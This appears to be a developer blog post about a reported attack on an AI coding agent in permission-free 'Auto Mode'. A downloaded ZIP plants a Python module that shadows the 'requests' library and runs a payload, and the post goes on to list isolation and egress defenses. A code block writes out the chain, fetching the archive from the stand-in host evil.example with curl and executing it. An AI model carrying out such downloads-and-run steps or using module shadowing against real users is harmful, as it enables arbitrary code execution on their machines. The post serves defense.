[{"data":1,"prerenderedAt":4},["ShallowReactive",2],{"post-content-claude-code-auto-mode-module-shadowing":3},"\u003Cp>I let Claude Code run in Auto Mode on my side projects. Permission prompts off, just let it work. It has been a genuine speed boost for months, and I told myself the risk was manageable because I review the diffs before anything ships. Then last weekend someone posted an exploit that broke Opus 5 in Auto Mode with a malicious ZIP file and a poisoned Python module, with a reported 60 to 80 percent success rate in small tests, and my \"I review the diffs\" comfort blanket suddenly looked very thin.\u003C\u002Fp>\n\n\u003Cp>Here's the uncomfortable part: the trick isn't some novel memory-corruption wizardry. It's Python import behavior, the same stuff you'd learn in an afternoon, pointed at a target that moves fast and trusts too much.\u003C\u002Fp>\n\n\u003Cfigure>\n  \u003Cimg src=\"https:\u002F\u002Fimages.unsplash.com\u002Fphoto-1526374965328-7f61d4dc18c5?auto=format&fit=crop&w=1200&q=80\" alt=\"Green code characters cascading on a dark screen\" loading=\"lazy\" \u002F>\n\u003C\u002Ffigure>\n\n\u003Ch2>How the module shadowing trick works\u003C\u002Fh2>\n\n\u003Cp>The attack chain starts out mundane. The agent is asked to summarize a website, gets pointed at a ZIP archive, downloads and extracts it. Nothing has gone wrong yet, at least not visibly. The malicious payload is a Python module whose name collides with a module the victim's script imports later.\u003C\u002Fp>\n\n\u003Cp>Python resolves imports in a specific order. The directory of the script being run comes first, then entries on \u003Ccode>PYTHONPATH\u003C\u002Fcode>, then site-packages. So if a project has \u003Ccode>utils.py\u003C\u002Fcode> sitting next to \u003Ccode>main.py\u003C\u002Fcode>, and a dependency also has a \u003Ccode>utils\u003C\u002Fcode> module, the local file wins. Most people know this. What makes it dangerous here is that the agent itself put the file there:\u003C\u002Fp>\n\n\u003Cpre>\u003Ccode class=\"language-python\">mkdir -p ~\u002Ftmp\u002Fsite-summary && cd $_\ncurl -O https:\u002F\u002Fevil.example\u002Fsummary-tool.zip && unzip summary-tool.zip\n# archive contains requests.py, next to the entry script\npython3 summarize.py   # imports requests -> gets the local requests.py\u003C\u002Fcode>\u003C\u002Fpre>\n\n\u003Cp>That local \u003Ccode>requests.py\u003C\u002Fcode> can re-export everything from the real library, then quietly do whatever it wants on the side. From the model's point of view, the code looks clean. From the sandbox's point of view, a script importing a module in its own directory is perfectly normal. There's no signature to check and no exploit primitive to detect. The malicious behavior is hiding in a mechanism that is working exactly as designed.\u003C\u002Fp>\n\n\u003Cp>The reported chain went further: a module shadowing a dependency, which executed a payload, which gave arbitrary code execution on the host. Auto Mode matters because it removed the one checkpoint where a human would see \u003Ccode>python3 summarize.py\u003C\u002Fcode> about to run and ask why.\u003C\u002Fp>\n\n\u003Ch2>Why \"I review the diffs\" doesn't save you\u003C\u002Fh2>\n\n\u003Cp>This is the part I had to sit with for a while. My review habit covers code that gets committed. It does nothing for code that executes before the commit. An agent running a script it just downloaded never produces a diff to review. The attack surface isn't the codebase, it's the shell history.\u003C\u002Fp>\n\n\u003Cp>Look, approval fatigue is real. Even with prompts on, anyone who has clicked \"yes\" forty times in an afternoon knows those prompts turn into a rhythm you stop reading. The exploit works in Auto Mode, but Auto Mode is a speed problem, not the root cause. The root cause is that the agent treats downloaded content as a thing to use rather than a thing to distrust.\u003C\u002Fp>\n\n\u003Ch2>What actually holds\u003C\u002Fh2>\n\n\u003Cp>Nothing here is clever or new, which is exactly why it's worth writing down. The defenses that matter are the boring ones:\u003C\u002Fp>\n\n\u003Cul>\n  \u003Cli>Run agents in a container or VM with a fresh filesystem, not on your daily driver. If a payload writes files, it should be writing them somewhere disposable.\u003C\u002Fli>\n  \u003Cli>Network egress controls. A module payload that can't phone home loses most of its value. Default-deny on outbound connections from the agent environment beats any prompt.\u003C\u002Fli>\n  \u003Cli>One venv per project, dependencies pinned, and the agent never runs \u003Ccode>pip install\u003C\u002Fcode> without an explicit prompt. Module shadowing needs a working interpreter pointed at the wrong paths; a clean, pinned environment shrinks what it can collide with.\u003C\u002Fli>\n  \u003Cli>Treat extracted archives as radioactive. If a task involves downloading a ZIP, the extraction and the execution should never share a directory.\u003C\u002Fli>\n\u003C\u002Ful>\n\n\u003Cp>The sandboxing point deserves emphasis because it keeps getting skipped. Auto Mode off is not isolation. It's a speed bump in front of a person who is tired.\u003C\u002Fp>\n\n\u003Cp>I've kept a checklist of these hardening steps in a snippet file since the first time an agent startled me, and it's one of the things that eventually turned into \u003Ca href=\"\u002Fsnippetark\u002F\">Snippet Ark\u003C\u002Fa>. Related reading if this topic hits close to home: I wrote earlier about why I stopped \u003Ca href=\"\u002Fposts\u002Fstop-pasting-production-code-into-ai-tools\u002F\">pasting production code into AI tools\u003C\u002Fa>, and this is the same instinct taken one layer deeper. The tools aren't the vulnerability. The convenience is.\u003C\u002Fp>\n\n\u003Cp>Auto Mode is still on for my side projects, but only inside a container now. That felt like an overreaction a week ago. It doesn't anymore.\u003C\u002Fp>\n",1788507918416]